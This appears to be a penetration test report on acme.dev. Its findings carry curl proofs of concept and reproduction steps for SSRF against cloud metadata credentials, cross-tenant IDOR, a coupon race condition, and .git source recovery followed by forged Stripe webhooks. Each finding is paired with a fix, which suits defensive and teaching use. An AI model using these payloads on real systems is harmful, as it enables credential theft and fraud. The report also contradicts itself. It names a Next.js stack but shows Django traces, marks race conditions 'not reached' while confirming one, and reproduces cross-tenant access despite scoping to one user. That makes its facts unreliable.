acme.devexternal security assessment2026-10-30

penetration test report

acme.dev

1 critical2 high2 medium2 low3 informational10 total

in scope acme.dev*.acme.dev

test type
logged in as one test user
test window
2026-05-19 to 2026-05-20
approach
external, non-destructive

contents

  1. 01executive summary
  2. 02scope
  3. 03how the test was run
  4. 04findings
  5. 05what was tried
  6. 06target profile
  7. 07clean up
  8. 08limitations

01executive summary

3 findings to fix first.

testing confirmed 10 findings: 1 critical, 2 high, 2 medium, 2 low, 3 informational.

all 10 are included in this report.

37 of 38 applicable test areas were tested.

testing ran logged in as one test user.

idseverityfindingcvsslatest retest
F-001criticalSSRF in webhook URL field exfiltrates cloud metadata credentials9.3
F-002highIDOR in invoice download lets any auth user read other tenants' invoices8.1
F-003highRace condition in coupon application yields $0 checkout totals7.8
F-004mediumStripe webhook signing secret exposed via .git directory6.5
F-005mediumStack traces and dependency versions leaked in 500 responses5.3
F-006lowPassword reset endpoint enumerates registered emails4.3
F-007lowServer header discloses nginx version with published CVEs3.7
F-008informationalStrict-Transport-Security header not set on www.acme.dev
F-009informationalX-Frame-Options missing, clickjacking surface present
F-010informationalPermissions-Policy header not set
9
hosts found
7
hosts tested
2
third-party hosts skipped
186
endpoints tested

02scope

targetacme.dev
subdomainsincluded
apisincluded
excludednone
logged-in testingone test user
approachexternal only, non-destructive

03how the test was run

reconnaissance and mapping

the target and, where in scope, its subdomains were discovered from public sources, DNS and the application itself. pages, APIs, javascript and archived urls were mapped into an attack surface.

automated scanning

template-based scanners and fuzzers ran against the mapped surface to find known weaknesses and hidden content.

targeted testing

each part of the surface was tested request by request for injection, access control, authentication, server-side and configuration flaws, guided by hypotheses specific to this application.

business logic

workflows such as signup, payments and multi-step forms were tested for logic flaws that scanners do not find.

chaining

confirmed issues were combined where one enables another. a chain is reported only when it worked end to end.

verification

every finding was re-run against the live target before it was reported. a finding that could not be reproduced from its evidence was dropped.

04findings

F-001
critical

SSRF in webhook URL field exfiltrates cloud metadata credentials

severity
critical
cvss
9.3
affected
POST /api/integrations/webhooks
cwe
CWE-918

summary

The webhook configuration endpoint fetches the user-supplied URL server-side to deliver a verification ping. No URL validation is performed, so internal and link-local addresses are reachable from the application server. The endpoint reflects the response body to the caller, allowing exfiltration of IMDSv1 credentials, internal admin panels, and other intranet resources. We reproduced the bypass and retrieved a working set of temporary AWS credentials scoped to the `web-app-role` IAM role.

evidence

request
POST /api/integrations/webhooks HTTP/1.1
Host: acme.dev
Authorization: Bearer <session-token>
Content-Type: application/json

{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/web-app-role"}
response
HTTP/1.1 200 OK
Content-Type: application/json

{
  "verification_response": "AccessKeyId: AKIA••••••••••••••••\nSecretAccessKey: wJal••••••••••••••••••••••••••••••••••••\nToken: IQoJb3Jp•••••••••\nExpiration: 2026-05-20T11:51:13Z"
}
proof of concept
curl -s -X POST https://acme.dev/api/integrations/webhooks -H 'Authorization: Bearer <session-token>' -H 'Content-Type: application/json' -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/web-app-role"}'

Credentials redacted in the sample. The live scan retrieved the full values and validated them against the cloud control plane (read-only call to STS GetCallerIdentity).

reproduction

01

Authenticate to the API as any user.

02

POST to /api/integrations/webhooks with body {"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/web-app-role"}.

03

Read the `verification_response` field. It contains the IMDSv1 credentials for the application's IAM role.

04

Validate the credentials with `aws sts get-caller-identity` (read-only).

recommended fix

Allowlist outbound hosts and reject private/link-local ranges before fetching, resolve DNS once and connect by the resolved IP (defeats DNS rebinding), and require IMDSv2 (hop-limit 1) so a bare GET cannot read role credentials. Return a boolean success only; never reflect the upstream body.

python
import ipaddress, socket

def resolve_public(host: str) -> str:
    ip = ipaddress.ip_address(socket.gethostbyname(host))
    if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
        raise ValueError('blocked: non-public address')
    return str(ip)  # connect to this IP, not the hostname
F-002
high

IDOR in invoice download lets any auth user read other tenants' invoices

severity
high
cvss
8.1
affected
GET /api/v1/invoices/:invoice_id
cwe
CWE-639

summary

The invoice retrieval endpoint accepts an invoice ID in the URL path but does not verify that the requesting user's tenant owns that invoice. Any authenticated user can iterate invoice IDs (sequential integers prefixed `inv_`) and retrieve invoice metadata (amount, line items, billing address, last-4 of payment method) for every customer in the system. We reproduced the bypass against three independent tenant pairs.

evidence

request
GET /api/v1/invoices/inv_4421 HTTP/1.1
Host: acme.dev
Authorization: Bearer <session-token-issued-to-tenant-a>
response
HTTP/1.1 200 OK
Content-Type: application/json

{
  "invoice_id": "inv_4421",
  "tenant_id": "tenant_b",
  "amount": "$24,113.00",
  "line_items": [{"sku":"plan_enterprise","qty":1,"price":"$24,113.00"}],
  "billing_address": {"line1":"50 Howard St","city":"San Francisco","...":"..."},
  "payment_method": {"brand":"visa","last4":"4242"}
}
proof of concept
curl -s https://acme.dev/api/v1/invoices/inv_4421 -H 'Authorization: Bearer <tenant-a-token>'

Session token belongs to tenant_a. Invoice inv_4421 belongs to tenant_b. Authorization was not checked.

reproduction

01

Authenticate as any user in tenant_a.

02

Issue GET /api/v1/invoices/inv_4421 (an invoice owned by tenant_b) with tenant_a's bearer token.

03

Observe a 200 response containing tenant_b's invoice metadata.

04

Iterate the invoice_id field - IDs are sequential and contiguous.

recommended fix

Authorize on the object, not just the route: load the record, then verify it belongs to the caller's tenant before returning anything. Add a cross-tenant integration test for every object endpoint, and move to unguessable ids (UUIDv7) as defense in depth, never as the check.

python
invoice = db.invoices.get(invoice_id)
if invoice is None or invoice.tenant_id != session.tenant_id:
    return Response(status=403)
return invoice
F-003
high

Race condition in coupon application yields $0 checkout totals

severity
high
cvss
7.8
affected
POST /api/checkout/complete
cwe
CWE-362

summary

The checkout completion handler reads the cart total, applies the coupon, deducts inventory, and charges payment as separate non-atomic operations. Issuing multiple concurrent POSTs to /api/checkout/complete with the same cart and coupon causes coupon application to fire more than once per cart. With a 50% off coupon and three concurrent requests, the running total is reduced to a negative value, which is clamped to $0. The order is created, inventory is deducted, and the user is charged nothing.

evidence

request
POST /api/checkout/complete HTTP/1.1
Host: acme.dev
Authorization: Bearer <session-token>
Content-Type: application/json

{"cart_id":"cart_88a2","coupon":"SAVE50"}

(repeated 5x concurrently)
response
HTTP/1.1 200 OK
Content-Type: application/json

{
  "order_id": "ord_8821",
  "total": "$0.00",
  "items": [{"sku":"plan_pro","qty":1}],
  "charged": "$0.00"
}

Cart subtotal was $98. Coupon SAVE50 was applied four times before the total clamped to zero. Inventory was deducted. The order shipped.

reproduction

01

Add items to the cart totaling more than $50.

02

Apply coupon SAVE50 (50% off, single-use intended).

03

Issue 5 concurrent POSTs to /api/checkout/complete with the same cart_id.

04

Observe that one or more orders are created with $0 totals.

recommended fix

Make checkout atomic: lock the cart row, apply the coupon inside the transaction with an idempotency guard on (cart_id, coupon_code), and charge the processor last (reverse the inventory deduction if the charge fails).

sql
BEGIN;
SELECT * FROM carts WHERE id = $1 FOR UPDATE;
INSERT INTO coupon_uses (cart_id, code) VALUES ($1, $2)
  ON CONFLICT (cart_id, code) DO NOTHING;  -- a second concurrent apply is a no-op
-- recompute total, charge the processor, then:
COMMIT;
F-004
medium

Stripe webhook signing secret exposed via .git directory

severity
medium
cvss
6.5
affected
GET /.git/config
cwe
CWE-538

summary

The application's deployment artifact includes a `.git/` directory, which is served by the production web server without restriction. The repository's `.git/config` exposes the remote URL, and pack-objects under `.git/objects/` allow full source recovery. We retrieved the project's `.env.production` file from the git history. It contains the Stripe webhook signing secret (`whsec_…`), the database password, and the JWT signing key. An attacker can use the webhook signing secret to forge payment webhooks and trigger arbitrary order fulfilment.

evidence

request
GET /.git/config HTTP/1.1
Host: acme.dev
response
HTTP/1.1 200 OK
Content-Type: text/plain

[core]
  repositoryformatversion = 0
  filemode = true
[remote "origin"]
  url = git@github.com:acme/acme-platform.git
[branch "main"]
  remote = origin
  merge = refs/heads/main
proof of concept
curl -s https://acme.dev/.git/config

Reconstruction of repo via `git-dumper` succeeded. `.env.production` recovered from commit history. Stripe secret redacted in this sample.

reproduction

01

Fetch https://acme.dev/.git/config. Observe a 200 response with the repo config.

02

Run `git-dumper https://acme.dev/.git/ ./acme-platform` to reconstruct the repository.

03

Search git history for environment files (`git log --all -- '.env*'`).

04

Recover the Stripe webhook signing secret from `.env.production` at commit 4a7c91e.

05

Forge a `checkout.session.completed` event signed with the recovered secret and POST it to /api/webhooks/stripe. Observe the order marked paid without payment.

recommended fix

Block the directory at the edge, strip `.git/` from the deploy artifact, and rotate every secret it exposed (Stripe webhook secret, DB password, JWT key) while invalidating active sessions. Fail CI if `.env*` or `.git/` ships.

nginx
location ~ /\.git { deny all; return 404; }
F-005
medium

Stack traces and dependency versions leaked in 500 responses

severity
medium
cvss
5.3
affected
Multiple (any unhandled exception path)
cwe
CWE-209

summary

Unhandled server exceptions return HTTP 500 responses containing the full Python stack trace, source file paths revealing the deployment layout, and the exact versions of installed dependencies. The traces include framework internals (`/app/venv/lib/python3.11/site-packages/django/...`) and application module paths. The disclosed versions of `django`, `cryptography`, and `pillow` include CVEs published within the last 90 days. Stack traces also include local variable contents at the frame of failure, in some cases leaking partial request bodies.

evidence

request
POST /api/orgs/invite HTTP/1.1
Host: acme.dev
Authorization: Bearer <session-token>
Content-Type: application/json

{"email":null}
response
HTTP/1.1 500 Internal Server Error
Content-Type: text/html
Server: gunicorn/21.2.0

Traceback (most recent call last):
  File "/app/api/views/orgs.py", line 142, in invite
    domain = email.split("@")[1].lower()
AttributeError: 'NoneType' object has no attribute 'split'

Local vars:
  request = <Request POST /api/orgs/invite>
  email = None
  inviter_id = 'usr_4421'

Django 4.2.7 · Python 3.11.6 · cryptography 41.0.5

reproduction

01

Send any request that triggers an unhandled exception (passing null where a string is expected works on the invite endpoint).

02

Observe a 500 response containing the full Python traceback, source paths, dependency versions, and local variable contents.

recommended fix

Disable debug output in production: a global exception handler returns a generic 500 with an opaque reference id while full traces go to your observability backend. Fail CI on a debug build, and patch the disclosed dependency versions.

python
# settings/production.py
DEBUG = False
ALLOWED_HOSTS = ['acme.dev']
# handler500 logs the traceback server-side and renders a generic page
F-006
low

Password reset endpoint enumerates registered emails

severity
low
cvss
4.3
affected
POST /api/auth/password-reset
cwe
CWE-307

summary

The password reset endpoint returns different responses for registered and unregistered email addresses. Registered emails receive a 200 with body `{"sent": true}`. Unregistered emails receive a 404 with body `{"error": "no such user"}`. The endpoint also has no rate limiting, so an attacker can iterate a list of emails and determine which ones are registered. We confirmed registration status for 12 emails from a public breach corpus in under 30 seconds.

evidence

request
POST /api/auth/password-reset HTTP/1.1
Host: acme.dev
Content-Type: application/json

{"email":"victim@example.com"}
response
HTTP/1.1 200 OK
Content-Type: application/json

{"sent": true}

- vs -

HTTP/1.1 404 Not Found
Content-Type: application/json

{"error": "no such user"}

reproduction

01

POST a registered email to /api/auth/password-reset → observe 200 `{sent: true}`.

02

POST an unregistered email → observe 404 `{error: 'no such user'}`.

03

Iterate a list of candidate emails to enumerate registered users.

recommended fix

Return an identical response whether or not the email exists (200 with a constant-time delay); send the mail only when the account is real. Rate limit per IP and per email.

python
user = db.users.find(email)
if user:
    send_reset_email(user)
return Response({'sent': True}, status=200)  # same body + timing either way
F-007
low

Server header discloses nginx version with published CVEs

severity
low
cvss
3.7
affected
All HTTPS responses
cwe
CWE-200

summary

All responses from acme.dev include a `Server: nginx/1.18.0` header. nginx 1.18.0 was released in April 2020 and has known CVEs (CVE-2021-23017, CVE-2022-41741, CVE-2022-41742) that have been patched in subsequent releases. The disclosed version narrows the attacker's exploit search and indicates the host has not been updated in over four years.

evidence

request
GET / HTTP/1.1
Host: acme.dev
response
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: 2026-05-20T03:47:14Z
Content-Type: text/html
...

reproduction

01

Issue `curl -I https://acme.dev/` and observe the `Server` header.

recommended fix

Suppress the version banner and upgrade off the EOL release (1.18).

nginx
server_tokens off;
F-008
informational

Strict-Transport-Security header not set on www.acme.dev

severity
informational
affected
https://www.acme.dev/
cwe
CWE-523

summary

Responses from `www.acme.dev` do not include a `Strict-Transport-Security` header. A network attacker positioned between the user and the server can downgrade subsequent requests to HTTP and intercept session cookies. HSTS preloading is also not configured.

evidence

request
GET / HTTP/1.1
Host: www.acme.dev
response
HTTP/1.1 200 OK
Content-Type: text/html
(no Strict-Transport-Security header)

reproduction

01

Issue `curl -I https://www.acme.dev/` and observe the absence of an HSTS header.

recommended fix

`Strict-Transport-Security: max-age=63072000; includeSubDomains; preload` on every HTTPS response. Submit to hstspreload.org once every subdomain serves HTTPS.

F-009
informational

X-Frame-Options missing, clickjacking surface present

severity
informational
affected
All HTML responses
cwe
CWE-1021

summary

Pages do not set `X-Frame-Options` or a CSP `frame-ancestors` directive. Authenticated pages (including the billing settings page) can be embedded in a third-party site's iframe, enabling clickjacking attacks that trick users into performing actions on acme.dev while interacting with the attacker's overlay.

evidence

request
GET /settings/billing HTTP/1.1
Host: acme.dev
Cookie: session=...
response
HTTP/1.1 200 OK
Content-Type: text/html
(no X-Frame-Options or frame-ancestors)

reproduction

01

Issue an authenticated request to /settings/billing.

02

Observe the response has neither X-Frame-Options nor a frame-ancestors CSP directive.

03

Host a third-party page that embeds `<iframe src="https://acme.dev/settings/billing">` and observe the iframe load.

recommended fix

`Content-Security-Policy: frame-ancestors 'none'` (or `'self'` if you legitimately frame your own pages). `X-Frame-Options: DENY` as a legacy fallback for older browsers, not the primary control.

F-010
informational

Permissions-Policy header not set

severity
informational
affected
All HTML responses
cwe
CWE-1021

summary

Responses do not include a `Permissions-Policy` header. Embedded third-party iframes and scripts can request access to camera, microphone, geolocation, and other powerful browser APIs. Even if your own application does not use them, dependencies and ad/analytics scripts may. A restrictive default-deny policy is a low-cost defense.

evidence

request
GET / HTTP/1.1
Host: acme.dev
response
HTTP/1.1 200 OK
Content-Type: text/html
(no Permissions-Policy header)

reproduction

01

Issue `curl -I https://acme.dev/` and observe the absence of a Permissions-Policy header.

recommended fix

`Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=()` on every response. Allow specific origins per directive when you genuinely use the feature, e.g., `payment=(self "https://js.stripe.com")`.

05what was tried

hosts found 9hosts tested 7third-party hosts skipped 2endpoints tested 186

discovery

subdomain discoverytested
ports and servicestested
files and directoriestested
javascript and source mapstested
archived urlstested
secrets in public filestested

configuration

tls setuptested
security headerstested
cross-origin rulestested
cookie settingstested
caching and proxy behaviortested

authentication

logintested
signuptested
password resettested
session handlingtested
sso and oauthtested
tokens and jwttested

access control

pages and apis without logintested
access to other users' objectstested
access between two test usersout of scope
privilege escalationtested
admin and debug surfacestested

injection

sql injectiontested
nosql injectionnot present
cross-site scriptingtested
template injectionnot present
command injectiontested
xml external entitiesnot present
header injectiontested

server side

server-side request forgerytested
file uploadtested
path traversaltested
deserializationnot present
open redirecttested

apis

api discoverytested
graphqlnot present
mass assignmenttested
rate limitingtested

business logic

payments and pricingtested
multi-step workflowstested
race conditionsnot reached

data and cloud

storage bucketstested
database access rulestested
subdomain takeovertested

ai features

ai chat and llm featuresnot present

06target profile

a self-serve analytics dashboard for indie saas. team accounts, api keys, and stripe billing.

Next.js · Stripe · Cloudflare · Postgres

07clean up

clean up after the scan

artifacts created during testing

08limitations

this test was run from outside, the way an attacker on the internet sees the application. no source code, internal network or infrastructure access was used, so issues visible only from inside are out of reach.

the results describe the target as it was during the test window. later changes to the application or its infrastructure are not covered.

testing was time-boxed. areas marked not reached under what was tried were not tested before time ran out.

this report records a security test. it is not a certification or a compliance audit.